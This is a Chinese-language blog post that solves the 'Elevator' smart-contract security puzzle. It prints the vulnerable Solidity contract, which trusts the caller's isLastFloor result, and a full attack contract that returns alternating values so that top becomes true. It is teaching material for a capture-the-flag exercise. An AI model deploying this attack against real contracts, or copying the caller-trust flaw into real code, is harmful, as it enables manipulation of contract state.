# 安全审查-Elevator破解 **Published by:** [Canvie.crypto](https://paragraph.com/@canvie-crypto/) **Published on:** 2025-07-29 **URL:** https://paragraph.com/@canvie-crypto/elevator ## Content 有道安全题叫Elevator,意思是说要攻击这个合约,修改里面的top变量,使得top的值为true。我们先看原题:// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } 首先需要building.isLastFloor(_floor) == false,才能进到if内部,top = building.isLastFloor(floor); 要设置top为true的话,则building.isLastFloor(_floor)又必须是true。这个是不是有点矛盾,同一个函数连续执行两次,输入相同,结果要相反。这个要怎么做到呢?突破点在Building(msg.sender),只要我们自己的合约调用了goTo方法,那么msg.sender就是指向我们的攻击合约,那么控制权就在自己手上了。我们的攻击合约需要实现Building接口。剩下的就在isLastFloor()方法里做文章了。isLastFloor()返回bool变量,怎么做到连续调用两次返回相反的结果呢?我们知道,返回值是可以使用具名方式,那可以这样:function isLastFloor(uint256) external returns (bool r) { r = rs; rs = !rs; } rs作为状态变量,每次执行isLastFloor()都会修改一次(rs = !rs)。r = rs;使得每次执行都会返回最新的rs值,这样就到达了每次调用都会返回不一样的结果了。完整代码如下:interface IElevator { function goTo(uint256 _floor) external ; } contract ElevatorAttack { bool public rs; IElevator public elevator; constructor(address _elevator) { elevator = IElevator(_elevator); } function goTo(uint256 _floor) public { elevator.goTo(_floor); } // 注意:r这个变量名定义的比较潦草,这里仅做演示用,真实编码环境不可学我! function isLastFloor(uint256) external returns (bool r) { r = rs; rs = !rs; } } 如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com ## Publication Information - [Canvie.crypto](https://paragraph.com/@canvie-crypto/): Publication homepage - [All Posts](https://paragraph.com/@canvie-crypto/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@canvie-crypto): Subscribe to updates - [Twitter](https://twitter.com/huicanvie): Follow on Twitter